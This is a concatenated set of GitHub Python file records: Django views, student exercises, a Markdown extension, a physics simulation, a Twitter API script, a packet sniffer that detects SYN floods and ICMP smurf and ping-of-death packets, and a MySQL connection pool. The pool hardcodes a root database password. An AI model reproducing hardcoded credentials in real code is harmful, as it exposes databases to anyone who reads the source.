1. 2.\"), body=\"body1\", name=\"pp_body1\"\n ),\n osim_dom.PathPoint(\n location=osim_dom.vector3(\"3. 4. 5.\"), body=\"body2\", name=\"pp_body2\"\n ),\n ]\n\n doc.Model.ForceSet.objects.Millard2012EquilibriumMuscle.append(m)\n doc.Version = \"??\"\n xmlstr = doc.toDOM().toprettyxml()\n\n # sys.stderr.write(\"Generated XML:\\n\"+xmlstr)\n newdoc = osim_dom.CreateFromDocument(xmlstr)\n self.assertIsNotNone(newdoc)\n self.assertTrue(newdoc.Model.ForceSet.objects.Millard2012EquilibriumMuscle)\n\n\nclass SchemaSanityCheck(unittest.TestCase):\n def runTest(self):\n import subprocess\n\n schemafile = os.path.join(\n os.path.dirname(__file__), \"..\", \"..\", \"resources\", \"osim_muscles.xsd\"\n )\n samplexml = os.path.join(\n os.path.dirname(__file__), \"test_sample_muscle_file.osim\"\n )\n out = subprocess.check_output([\"xmllint\", \"-schema\", schemafile, samplexml])\n\n\nclass SchemaSanityCheckBindings(unittest.TestCase):\n def runTest(self):\n with open(\n os.path.join(os.path.dirname(__file__), \"test_sample_muscle_file.osim\"), \"r\"\n ) as f:\n sample_xml = f.read()\n osim_dom.CreateFromDocument(sample_xml)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"HBPNeurorobotics/BlenderRobotDesigner","sub_path":"robot_designer_plugin/export/osim/osim_test.py","file_name":"osim_test.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"2"}
+{"seq_id":"71041044208","text":"from django.shortcuts import render, redirect, HttpResponse\r\nfrom django.contrib import messages\r\nfrom .models import *\r\n# Create your views here.\r\ndef index(request):\r\n return render(request, 'LogRegApp/index.html')\r\n\r\ndef processingReg(request):\r\n response = User.objects.reg_validator(request.POST)\r\n if response['status'] == False:\r\n for error in response['errors']:\r\n messages.error(request, error)\r\n return redirect('/', messages)\r\n else:\r\n request.session['userid'] = response['userid']\r\n request.session['name'] = User.objects.get(id=response['userid']).name\r\n return redirect('/success')\r\n\r\n\r\ndef processingLog(request):\r\n response = User.objects.log_validator(request.POST)\r\n if response['status'] == False:\r\n for error in response['errors']:\r\n messages.error(request, error)\r\n return redirect('/', messages)\r\n else:\r\n request.session['userid'] = response['userid']\r\n request.session['name'] = User.objects.get(id=response['userid']).name\r\n return redirect('/success')\r\n\r\n\r\ndef success(request):\r\n if 'userid' in request.session:\r\n return redirect('/dashboard')\r\n else:\r\n return redirect('/')\r\n \r\n\r\n\r\ndef logout(request):\r\n request.session.flush()\r\n return redirect('/')","repo_name":"Jaypatel07/Pet-Spa","sub_path":"PetSpa/petSPAw_proj/apps/LogRegApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"}
+{"seq_id":"31536153502","text":"# Create a new list of objects\n# in this case, car parts\n\ncarParts = [\"CV Joint\", \"spark plug\", \"timing belt\",\n \"piston\", \"brake pad\", \"ball joint\"]\nprint(carParts)\n\n# You can insert an object into a list using the insert function. The insert\n# function takes two arguments. The index of the position you'd like to\n# insert at and the object you'd like to insert.\n\ncarParts.insert(2, \"air filter\")\n\nprint(carParts)\n","repo_name":"nishantafe/CIII-Programming","sub_path":"Week 09/w9_prac6.py","file_name":"w9_prac6.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"}
+{"seq_id":"23905726317","text":"import re\nfrom lifeflow.markdown import markdown\n\ndef smart_str(s, encoding='utf-8', errors='strict'):\n \"\"\"\n Returns a bytestring version of 's', encoded as specified in 'encoding'.\n Borrowed and simplified for this purpose from `django.utils.encoding`.\n \"\"\"\n if not isinstance(s, basestring):\n try:\n return str(s)\n except UnicodeEncodeError:\n return unicode(s).encode(encoding, errors)\n elif isinstance(s, unicode):\n return s.encode(encoding, errors)\n elif s and encoding != 'utf-8':\n return s.decode('utf-8', errors).encode(encoding, errors)\n else:\n return s\n\nclass ForeignFormatsExtension (markdown.Extension):\n\n def __name__(self):\n return u\"foreign formats\"\n\n def extendMarkdown(self, md, md_global):\n preprocessor = ForeignFormatsBlockPreprocessor()\n preprocessor.md = md\n md.textPreprocessors.insert(0, preprocessor)\n\n\nFORMATTERS = {}\n\n# Attempt to import textile formatter.\ntry:\n # http://dealmeida.net/projects/textile/\n import textile\n def func(x):\n return textile.textile(smart_str(x), encoding='utf-8', output='utf-8')\n\n FORMATTERS[\"textile\"] = func\nexcept ImportError:\n pass\n\n# Attempt to import docutiles (ReST) formatter.\ntry:\n # http://docutils.sf.net/\n from docutils.core import publish_parts\n def func(x):\n return publish_parts(source=x,writer_name=\"html4css1\")[\"fragment\"]\n\n FORMATTERS[\"rest\"] = func\nexcept ImportError:\n pass\n\n\nFOREIGN_FORMAT_BLOCK_REGEX = re.compile(r\"^~~~(?P\\w*)\\r?\\n(?P.*?)^~~~$\", re.DOTALL|re.MULTILINE)\n\n\nclass ForeignFormatsBlockPreprocessor :\n def run (self, text):\n while 1:\n m = FOREIGN_FORMAT_BLOCK_REGEX.search(text)\n if not m: break;\n format = m.group('format').lower()\n txt = m.group('txt')\n if FORMATTERS.has_key(format):\n func = FORMATTERS[format]\n txt = func(txt)\n placeholder = self.md.htmlStash.store(txt, safe=True)\n text = '%s\\n%s\\n%s'% (text[:m.start()], placeholder, text[m.end():])\n return text\n\n\ndef makeExtension(configs=None) :\n return ForeignFormatsExtension(configs=configs)\n\n","repo_name":"lethain/lifeflow","sub_path":"markdown/mdx_foreign_formats.py","file_name":"mdx_foreign_formats.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"2"}
+{"seq_id":"14415707603","text":"# Faça um programa que pergunte o preço de três produtos e informe qual produto você deve comprar, sabendo que a decisão é sempre pelo mais barato.\r\n\r\nprint('Inicio do Programa')\r\nprint()\r\n\r\nvalid_numero = False\r\n\r\nwhile valid_numero == False:\r\n print()\r\n n1 = input('Qual o valor da mochila1?')\r\n print()\r\n try:\r\n n1 = float(n1)\r\n valid_numero = True\r\n except:\r\n print('==='*15)\r\n print('Erro na entrada de dados, por favor digite somente numeros.')\r\n print('==='*15)\r\n\r\nvalid_numero = False\r\n\r\nwhile valid_numero == False:\r\n print()\r\n n2 = (input('Qual o valor da mochila2?'))\r\n print()\r\n try:\r\n n2 = float(n2)\r\n valid_numero = True\r\n except:\r\n print('===' * 15)\r\n print('Erro na entrada de dados, por favor digite somente numeros.')\r\n print('===' * 15)\r\n\r\nvalid_numero = False\r\n\r\nwhile valid_numero == False:\r\n print()\r\n n3 = (input('Qual o valor da mochila3?'))\r\n print()\r\n try:\r\n n3 = float(n3)\r\n valid_numero = True\r\n except:\r\n print('===' * 15)\r\n print('Erro na entrada de dados, por favor digite somente numeros.')\r\n print('===' * 15)\r\n\r\nvalid_numero = False\r\n\r\nif n1 < n2 and n1 < n3:\r\n v = n1\r\n p = 'mochila1'\r\nelif n2 < n1 and n2 < n3:\r\n v = n2\r\n p = 'mochila2'\r\nelse:\r\n v = n3\r\n p = 'mochila3'\r\nprint('Por ser o mais barato, o produto escolhido foi {}, que custa {}R$'.format(p, v))\r\n\r\nprint()\r\ninput('Aperte enter para sair')","repo_name":"LeviMorningstar/Ex.-Estrutura-de-decisao","sub_path":"Ex. 8(OK).py","file_name":"Ex. 8(OK).py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"4803670477","text":"from django.shortcuts import render, HttpResponse, get_object_or_404, redirect\nfrom . import models\nfrom django.contrib.auth.models import User\n\ndef suma(cislo):\n return (cislo * (cislo +1))/2\n\ndef ukoly_index(request):\n cislo = int(request.GET.get(\"cislo\",0))\n vysledek = suma(cislo)\n print(vysledek)\n return render(request, \"ukoly/ukoly-index.html\",context=dict(vysledek=vysledek))\n\ndef ukoly_login(request):\n users = User.objects.all()\n return render(request, \"ukoly/ukoly-login.html\",context=dict(users=users))\n\ndef ukoly_kontakty(request):\n return render(request, \"ukoly/ukoly-kontakty.html\")\n\ndef seznam_ukolu(request):\n def get_ids():\n seznam_id = []\n for key in request.POST:\n if key.startswith(\"ukol_id_\"):\n pk = key.split(\"ukol_id_\")[1]\n seznam_id.append(pk)\n return seznam_id\n if request.method == \"POST\":\n ids = get_ids()\n models.Ukol.objects.filter(id__in=ids).update(stav=True)\n models.Ukol.objects.exclude(id__in=ids).update(stav=False)\n return redirect(\"ukoly:seznam_ukolu\")\n\n\n jmeno = request.GET.get(\"jmeno\")\n if jmeno:\n ukoly = models.Ukol.objects.filter(jmeno_autora=jmeno)\n else:\n ukoly = models.Ukol.objects.all\n # return HttpResponse('
' + \"
\".join(data) + '
'\n\n def set_flags(self):\n for category in self.FILTERED_ACTIVITIES:\n if len(self.FILTERED_ACTIVITIES[category]['activities']) > 20:\n self.FILTERED_ACTIVITIES[category]['flag'] = self.check_avg_time(\n self.FILTERED_ACTIVITIES[category]['activities'])\n if self.FILTERED_ACTIVITIES[category]['flag']:\n self.FILTERED_ACTIVITIES[category]['attacker-mac'] = list(\n set([i[3] for i in self.FILTERED_ACTIVITIES[category]['activities']]))\n\n def analyze_packet(self, pkt):\n src_ip, dst_ip, src_port, dst_port, tcp_flags, icmp_type = None, None, None, None, None, None\n protocol = []\n\n if len(self.RECENT_ACTIVITIES) > 15:\n self.RECENT_ACTIVITIES = self.RECENT_ACTIVITIES[-15:]\n\n for category in self.FILTERED_ACTIVITIES:\n if len(self.FILTERED_ACTIVITIES[category]['activities']) > 30:\n self.FILTERED_ACTIVITIES[category]['activities'] = self.FILTERED_ACTIVITIES[category]['activities'][-30:]\n\n self.set_flags()\n\n src_mac = pkt[Ether].src if Ether in pkt else None\n dst_mac = pkt[Ether].dst if Ether in pkt else None\n\n if IP in pkt:\n src_ip = pkt[IP].src\n dst_ip = pkt[IP].dst\n elif IPv6 in pkt:\n src_ip = pkt[IPv6].src\n dst_ip = pkt[IPv6].dst\n\n if TCP in pkt:\n protocol.append(\"TCP\")\n src_port = pkt[TCP].sport\n dst_port = pkt[TCP].dport\n tcp_flags = pkt[TCP].flags.flagrepr()\n if UDP in pkt:\n protocol.append(\"UDP\")\n src_port = pkt[UDP].sport\n dst_port = pkt[UDP].dport\n if ICMP in pkt:\n protocol.append(\"ICMP\")\n # 8 for echo-request and 0 for echo-reply\n icmp_type = pkt[ICMP].type\n\n if ARP in pkt and pkt[ARP].op in (1, 2):\n protocol.append(\"ARP\")\n if pkt[ARP].hwsrc in self.MAC_TABLE.keys() and self.MAC_TABLE[pkt[ARP].hwsrc] != pkt[ARP].psrc:\n self.MAC_TABLE[pkt[ARP].hwsrc] = pkt[ARP].psrc\n if pkt[ARP].hwsrc not in self.MAC_TABLE.keys():\n self.MAC_TABLE[pkt[ARP].hwsrc] = pkt[ARP].psrc\n\n load_len = len(pkt[Raw].load) if Raw in pkt else None\n\n attack_type = None\n\n if ICMP in pkt:\n if src_ip == self.MY_IP and src_mac != self.MY_MAC:\n self.FILTERED_ACTIVITIES['ICMP-SMURF']['activities'].append([\n pkt.time, ])\n attack_type = 'ICMP-SMURF PACKET'\n\n if load_len and load_len > 1024:\n self.FILTERED_ACTIVITIES['ICMP-POD']['activities'].append([\n pkt.time, ])\n attack_type = 'ICMP-PoD PACKET'\n\n if dst_ip == self.MY_IP:\n if TCP in pkt:\n if tcp_flags == \"S\":\n self.FILTERED_ACTIVITIES['TCP-SYN']['activities'].append([\n pkt.time, ])\n attack_type = 'TCP-SYN PACKET'\n\n elif tcp_flags == \"SA\":\n self.FILTERED_ACTIVITIES['TCP-SYNACK']['activities'].append([\n pkt.time, ])\n attack_type = 'TCP-SYNACK PACKET'\n\n self.RECENT_ACTIVITIES.append(\n [pkt.time, protocol, src_ip, dst_ip, src_mac, dst_mac, src_port, dst_port, load_len, attack_type])\n\n def start(self):\n if not self.flag:\n self.flag = True\n sniff_thread = threading.Thread(target=self.sniffer_threader)\n sniff_thread.daemon = True\n sniff_thread.start()\n analyze_thread = threading.Thread(target=self.analyze_threader)\n analyze_thread.daemon = True\n analyze_thread.start()\n return self.flag\n\n def stop(self):\n self.flag = False\n self.PACKETS_QUEUE = Queue()\n self.RECENT_ACTIVITIES = []\n self.FILTERED_ACTIVITIES = {\n 'TCP-SYN': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'TCP-SYNACK': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-POD': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-SMURF': {'flag': False, 'activities': [], 'attacker-mac': []},\n }\n return self.flag\n\n\ndef clear_screen():\n if \"linux\" in sys.platform:\n os.system(\"clear\")\n elif \"win32\" in sys.platform:\n os.system(\"cls\")\n else:\n pass\n\n\ndef is_admin():\n try:\n return os.getuid() == 0\n except AttributeError:\n pass\n try:\n return ctypes.windll.shell32.IsUserAnAdmin() == 1\n except AttributeError:\n return False\n","repo_name":"priyamharsh14/SniffnDetect","sub_path":"sniffndetect.py","file_name":"sniffndetect.py","file_ext":"py","file_size_in_byte":6876,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"2"} +{"seq_id":"21906703930","text":"#din modulul exceptii al pachetului erori importam clasa ValidError (obictele acestei clase vor fi de fapt obiecte de clasa Exception)\nfrom erori.exceptii import ValidError\nimport datetime\n\nclass ValidatorInchiriere:\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Inchiriere\n\n def __valideaza_an_bisect(self, an_curent):\n #metoda privata care verifica daca un an dat ca si argument/parametru este sau nu bisect\n #date de intrare: an_curent - un an (numar intreg fara semn (unsigned)) care indica anul curent\n #date de iesire: True - anul an_curent este bisect\n # False - anul an_curent nu este bisect\n\n if ((an_curent % 4 == 0) and (an_curent % 100 != 0)):\n return True\n if (an_curent % 400 == 0):\n return True\n return False\n\n def __zile_luni_an_curent(self, an_curent):\n #metoda privata care returneaza o mapare (structura de date de tip map) a lunilor (chei) la numarul de zile corespunzator (valori numerice ale cheilor)\n #date de intrare: an_curent - anul curent\n #date de iesire: map care contine pentru fiecare luna din an (indexata de la 1 la 12, incepand cu luna februarie si terminand cu decembrie) numarul de zile\n\n if self.__valideaza_an_bisect(an_curent) == True: #verificam daca anul curent este sau nu bisect pentru a determina numarul de zile din luna februarie\n an_bisect = 1 #anul curent este bisect (februarie are 29 de zile)\n else:\n an_bisect = 0 #anul curent nu este bisect (februarie are 28 de zile)\n\n #returnam un map care pentru fiecare luna din an contine numarul de zile din luna respectiva\n return {1 : 31, #luna ianuarie (1) contine 31 de zile\n 2 : (28 + an_bisect), #luna februarie (2) contine 28 de zile daca anul curent nu este bisect si 29 daca este\n 3 : 31, #luna martie (3) contine 31 de zile\n 4 : 30, #luna aprilie (4) contine 30 de zile\n 5 : 31, #luna mai (5) contine 31 de zile\n 6 : 30, #luna iunie (6) contine 30 de zile\n 7 : 31, #luna iulie (7) contine 31 de zile\n 8 : 31, #luna august (8) contine 31 de zile\n 9 : 30, #luna septembrie (9) contine 30 de zile\n 10: 31, #luna octombrie (10) contine 31 de zile\n 11: 30, #luna noiembrie (11) contine 30 de zile\n 12: 31} #luna decembrie (12) contine 31 de zile\n\n def __valideaza_termen_predare(self, data_rea):\n #metoda privata care valideaza daca o data pasata ca si parametru/argument la apelul metodei/functiei poate sa fie un termen de predare pentru un film (adica daca data este in viitor, cel mai devreme maine fata de momentul inchirierii filmului)\n #date de intrare: data_rea - un obiect de clasa Data\n #date de iesire: err - lista de erori (daca este vida => data data_rea este valida, in caz contrar (len(err) != 0 <=> lista de erori nu e vida) data_rea nu reprezinta o data valida)\n\n data_curenta = datetime.datetime.now() #data curenta\n zi_curenta = data_curenta.day #ziua curenta\n luna_curenta = data_curenta.month #luna curenta\n an_curent = data_curenta.year #anul curent\n\n err = '' #lista de erori (sir de caractere)\n\n if data_rea.get_an() < an_curent:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n elif data_rea.get_an() == an_curent:\n if data_rea.get_luna() < luna_curenta:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n elif data_rea.get_luna() == luna_curenta:\n if data_rea.get_zi() <= zi_curenta:\n err += 'termen de predare invalid!\\n' #adaugam eroare la lista de erori\n\n return err #returnam lista de erori\n\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Data (adica atributele zi, luna si an)\n def __valideaza_data(self, data_rea):\n #metoda privata care valideaza o data calendaristica data_rea (verifica ca valorile din campurile/atributele zi, luna si an sa fie valori valide)\n #date de intrare: data_rea - data calendaristica (obiect de clasa Data)\n #date de iesire: err - lista (sir de caractere sau string) de erori\n\n zile_luna = self.__zile_luni_an_curent(data_rea.get_an()) #map care contine ca si chei numarul tuturor lunilor din an si ca si valori numarul de zile al acestora\n\n err = '' #lista de erori care este initial vida (nu s-au gasit erori inca)\n\n if data_rea.get_zi() < 1 or ((data_rea.get_luna() >= 1 and data_rea.get_luna() <= 12) and data_rea.get_zi() > zile_luna[data_rea.get_luna()]):\n err += 'zi invalida!\\n'\n if data_rea.get_luna() < 1 or data_rea.get_luna() > 12:\n if not len(err):\n err += 'zi invalida!\\n'\n err += 'luna invalida!\\n'\n if data_rea.get_an() < 1:\n err += 'an invalid!\\n'\n\n if len(err): #s-a detectat cel putin un camp/atribut invalid pentru data calendaristica primita de metoda/fuctia curenta ca si parametru\n return err #returnam lista de erori\n\n return self.__valideaza_termen_predare(data_rea) #verificam daca data calendaristica data_rea (validata cu succes) poate sa reprezinte un termen de returnare (retur) a unui film\n\n #clasa pe care o definim pentru a valida campurile (componentele) unui obiect de clasa Inchiriere\n def valideaza(self, inchiriere_rea):\n #metoda corespunzatoare unui obiect de clasa ValidatorInchiriere care valideaza campurile unui obiect de clasa Inchiriere\n #date de intrare: inchiriere_rea - obiect de clasa Inchiriere pe care dorim sa il validam\n #date de iesire: nimic - daca inchirierea inchiriere_rea este valida (fiecare camp al acestui obiect de clasa Inchiriere respecta restrictiile impuse asupra campului respectiv)\n # eroare de tipul ValidError (Exception) cu mesajul err - daca cel putin un camp al inchirierii inchiriere_rea nu este valid (prin urmare obiectul inchiriere_rea de clasa Inchiriere va fi la randul lui invalid)\n\n err = '' #lista de erori (sir de caractere/string)\n\n if inchiriere_rea.get_id_inchiriere() < 0: #campul id_inchiriere al unui obiect de clasa Inchiriere este un numar natural\n #campul id_inchiriere al inchirierii inchiriere_rea este invalid\n err += 'id inchiriere invalid!\\n' #adaugam eroarea gasita la lista de erori (sir de caractere/string)\n\n err += self.__valideaza_data(inchiriere_rea.get_data()) #validam data din campul data a unui obiect de clasa inchiriere (inchiriere_rea) apeland metoda privata __valideaza_data() avand ca parametru data pe care vrem sa o validam\n\n if len(err): #cel putin un camp/atribut al obiectului de clasa Inchiriere inchiriere_rea este invalid => inchirierea inchiriere_rea este invalida\n raise ValidError(str(err)) #raise Exception(str(err))\n #aruncam o eroare de tipul ValidError (Exception) cu mesajul err (string)","repo_name":"Ampersand25/Movie-Renting-Application","sub_path":"Lab7-9/validare/validator_inchiriere.py","file_name":"validator_inchiriere.py","file_ext":"py","file_size_in_byte":7347,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4044283658","text":"import math\nimport random\nfrom constants import *\n\n\n# Particle class\nclass Particle:\n def __init__(self, i, mass=0.0,):\n # Position\n self.px = float(random.randint(Width / 2 - Width / 2, Width / 2 + Width / 2))\n self.py = float(random.randint(Height / 2 - Height / 2, Height / 2 + Height / 2))\n # Velocity\n self.vx = 0#float(random.randint(-10, 10))\n self.vy = 0#float(random.randint(-10, 10))\n # Acceleration\n self.ax = 0\n self.ay = 0\n # Radius\n self.r = random.randint(10, 10) * 1.0\n # Boolean to keep track whether the particle still exist\n self.exist = True\n # Randomizing particle color to something visible\n self.color = (random.randint(100, 255) / 255, random.randint(100, 255) / 255, random.randint(100, 255) / 255)\n # Initialize mass\n if mass == 0:\n self.setM()\n else:\n self.mass = mass * 1.0\n self.setR()\n # Initialize node id\n self.id = i\n\n # A method to manually set position and mass, used for easier force calculations\n def setP(self, x, y, m):\n self.px, self.py, self.mass = x, y, m\n\n # Calculate new acceleration due to another particle a\n def addA(self, a):\n dx = a.px - self.px\n dy = a.py - self.py\n dist2 = dx * dx + dy * dy\n Gforce = GC * self.mass * a.mass / dist2 if dist2 > 1e-9 else 0.0\n dist = math.sqrt(dist2)\n # Using Gravitational Force Formula for vector quantities\n self.ax += Gforce / dist * dx\n self.ay += Gforce / dist * dy\n\n # Calculate final position of the particle after checking all other ones\n def updatePV(self):\n self.vx += self.ax * DT\n self.vy += self.ay * DT\n self.px += self.vx * DT\n self.py += self.vy * DT\n # If the particle hits boundary, bounce back and lose a \"bit\" of energy\n if self.px < 10 or math.fabs(Width - self.px) < 10:\n self.vx = -self.vx * 0.8\n if self.py < 10 or math.fabs(Height - self.py) < 10:\n self.vy = -self.vy * 0.8\n\n # Set Mass from radius and density\n def setM(self):\n self.mass = Density * 4.0 / 3.0 * self.r ** 3 * math.pi\n\n # Used to calculate new radius after merging masses\n def setR(self):\n self.r = (self.mass * 3.0 / (Density * 4.0 * math.pi)) ** (0.33333333)\n\n # Test if two particles collided\n def collide(self, a):\n dx = a.px - self.px\n dy = a.py - self.py\n dist2 = dx * dx + dy * dy\n return dist2 < (self.r + a.r) ** 2\n","repo_name":"Kevinwen1999/nbody","sub_path":"particle.py","file_name":"particle.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71670136687","text":"\"\"\"Implements COVID SLIC Dataset\"\"\"\n\nimport os\n\nimport pandas as pd\nimport torch\nfrom PIL import Image\n\n# import numpy as np\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\n\nfrom src.modules.transforms import *\nfrom src.utils.mapper import configmapper\n\n\n# from src.utils.viz import visualize_geometric_graph\n# import matplotlib.pyplot as plt\n\n\n@configmapper.map(\"datasets\", \"covid_slic\")\nclass CovidSlic(Dataset):\n def __init__(self, config):\n super().__init__()\n self.config = config\n\n transformations = []\n for transform in config.transform_args:\n param_dict = (\n dict(transform[\"params\"]) if transform[\"params\"] is not None else {}\n )\n transformations.append(\n configmapper.get_object(\"transforms\", transform[\"type\"])(**param_dict)\n )\n self.transform = (\n transforms.Compose(transformations) if transformations != [] else None\n )\n\n self.data_paths_df = pd.read_csv(config.data_paths_csv)\n self.data_paths_df[\"path\"] = self.data_paths_df[\"path\"].apply(\n lambda x: os.path.join(\"/\".join(config.data_paths_csv.split(\"/\")[:-1]), x)\n )\n\n def __len__(self):\n return self.data_paths_df.shape[0]\n\n def __getitem__(self, idx):\n image = Image.open(self.data_paths_df.iloc[idx][\"path\"]).convert(\"L\")\n label = self.data_paths_df.iloc[idx][\"label\"]\n if self.transform is not None:\n graph = self.transform(image)\n\n # pix = np.array(image.resize((256,256)).getdata()).reshape(256,256)\n # plt.imsave(f\"covid_{label}.pdf\", pix)\n # visualize_geometric_graph(graph, f\"covid_graph_{label}.pdf\",0.5094362248497217, 0.25237422057401465, pix)\n\n return {\"graph\": graph, \"label\": torch.tensor(label, dtype=torch.long)}\n","repo_name":"abheesht17/super-pixels","sub_path":"src/datasets/covid_slic.py","file_name":"covid_slic.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"2"} +{"seq_id":"34090609790","text":"import openpyxl\r\nimport matplotlib.pyplot as plt\r\n\r\ndef get_filename():\r\n filename = input(\"Input filename: \")\r\n return filename\r\n\r\ndef get_data_salary(filename):\r\n # Создадим контейнер\r\n posts = {}\r\n # Откроем файл\r\n source_book = openpyxl.load_workbook(filename)\r\n # Data\r\n sheet = source_book['Data']\r\n pairs = sheet['G2':'H4495']\r\n for c1, c2 in pairs:\r\n if c1.value in posts:\r\n posts[c1.value][0] += 1\r\n posts[c1.value][1] += c2.value\r\n else:\r\n posts[c1.value] = [1, c2.value]\r\n return posts\r\n\r\ndef average_salary(posts):\r\n for everyone in posts:\r\n posts[everyone] = posts[everyone][1]/posts[everyone][0]\r\n return posts\r\n\r\ndef show_bar(posts):\r\n # Object Counter не стал использовать, так как по сути тот же словарь\r\n heights = [posts[item] for item in posts] #counter_obj.values()\r\n bars = [item for item in posts] #counter_obj.keys()\r\n y_pos = range(len(bars))\r\n \r\n # Хотел красивые границы сделать.\r\n find_max, find_min = round(max(heights)), round(min(heights))\r\n plt.ylim(find_min - 1000, find_max + 1000)\r\n\r\n # Повороты\r\n plt.bar(y_pos, heights, align='center', alpha=1)\r\n plt.xticks(y_pos, bars, rotation=90)\r\n # Лейблы\r\n plt.ylabel('Средняя заработная плата')\r\n plt.title('График зависимости средней зарплаты от должности')\r\n\r\n # Сохраняем\r\n file_name = 'attitude_to_earnings.png'\r\n plt.savefig(file_name)\r\n plt.show()\r\n\r\ndef main():\r\n input_file = get_filename()\r\n average_salary_data = average_salary(get_data_salary(input_file))\r\n show_bar(average_salary_data)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"gHuwk/python_MEPhI","sub_path":"lab_04/lab_04.py","file_name":"lab_04.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22154942684","text":"import requests\nimport os\nimport json\nimport sys\n\n# has auth info\napi_call_header = \"\"\n\ndef main():\n global api_call_header\n\n if (len(sys.argv) < 2):\n raise Exception(\"Missing bearer_token as command line arg\")\n bearer_token = sys.argv[1]\n api_call_header = create_headers(bearer_token)\n\n if (len(sys.argv) < 3):\n raise Exception(\"Missing users to base to-follow recommendation on\")\n\n username_list = sys.argv[2:]\n\n userids_url = get_userids_url(username_list)\n userids_response = connect_to_endpoint(userids_url)\n userids = get_userids(userids_response)\n\n to_follow_dict = {}\n for userid in userids:\n add_following(userid, to_follow_dict, \"\")\n\n print(json.dumps(to_follow_dict, indent=4, sort_keys=True))\n print(len(to_follow_dict))\n for key, value in to_follow_dict.items():\n if value['frequency'] > 1:\n print(key)\n print(value)\n\ndef add_following(userid, to_follow_dict, next_token):\n \"\"\"\n following shape:\n { : { \n userid : ,\n followers_count : ,\n frequency : -- how fequent is this user as a following for given users\n }\n }\n \"\"\"\n following_url = get_following_url(userid, next_token)\n\n print(following_url)\n following_response = connect_to_endpoint(following_url)\n for following in following_response[\"data\"]:\n username = following['username']\n userid = following['id']\n followers_count = following['public_metrics']['followers_count']\n frequency = 1\n if username in to_follow_dict:\n frequency = frequency + to_follow_dict[username]['frequency']\n to_follow_dict[username] = {'userid' : userid, 'followers_count' : followers_count, 'frequency' : frequency}\n\n if 'meta' in following_response and 'next_token' in following_response['meta']:\n next_token = following_response['meta']['next_token']\n add_following(userid, to_follow_dict, next_token)\n\n return to_follow_dict\n\ndef get_following_url(userid, next_token):\n url = \"https://api.twitter.com/2/users/{}/following?max_results=999&user.fields=public_metrics\".format(userid)\n if len(next_token) > 0:\n url = url + \"&pagination_token=\" + next_token\n return url\n\ndef connect_to_endpoint(url):\n global api_call_header\n response = requests.request(\"GET\", url, headers=api_call_header)\n if response.status_code != 200:\n raise Exception(\n \"Request returned an error: {} {}\".format(\n response.status_code, response.text\n )\n )\n return response.json()\n\ndef create_headers(bearer_token):\n headers = {\"Authorization\": \"Bearer {}\".format(bearer_token)}\n return headers\n\ndef get_userids_url(username_list):\n usernames = \"usernames=\" + ','.join(username_list)\n url = \"https://api.twitter.com/2/users/by?{}\".format(usernames)\n return url\n\ndef get_userids(userids_response):\n userids = set()\n\n for user in userids_response[\"data\"]:\n userids.add(user[\"id\"])\n\n return userids\n\nif __name__ == \"__main__\":\n main()","repo_name":"sayak-k/twitterToFollow","sub_path":"toFollow.py","file_name":"toFollow.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"74833118445","text":"from mysql.connector.pooling import MySQLConnectionPool\nfrom mysql.connector import errorcode\nimport time\nimport traceback\n\n# Our database manager class, this creates a pool of connections \n# It also allows for api calls to user one of these connections for it SQL statements\n# This allows for multiple SQL statements to execute concurrently\nclass DatabaseManager:\n\n\t# Initialise function for setting up database manager\n\tdef __init__(self):\n\t\t# Calls the create connection pool function so that connection pool\n\t\t# exists as soon as database manager object is created\n\t\tself.createConnectionPool()\t\n\t\t\n\t# Function for creating a pool of database connections\n\tdef createConnectionPool(self):\n\n\t\t# The configuration values necessary to connect to the desired database\n\t\tdbconfig = {\n\t\t\"user\": \"root\",\n\t\t\"password\":\"ePBsjLQV\",\n\t\t\"database\":'desapi'\n\t\t}\n\n\t\ttry:\n\t\t\t# Creates a pool of connections, the size of this pool is 32\n\t\t\tself.cnxpool = MySQLConnectionPool(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tpool_name = \"mypool\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tpool_size = 32,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t**dbconfig)\n\t\texcept:\n\t\t\t# sleep and retry - the MySQL container probably not up and running yet\n\t\t\tprint(\"Exception... sleeping for 5 seconds then retry\")\n\t\t\ttb = traceback.format_exc()\n\t\t\tprint(tb)\n\t\t\ttime.sleep(5)\n\t\t\t# try again\n\t\t\treturn 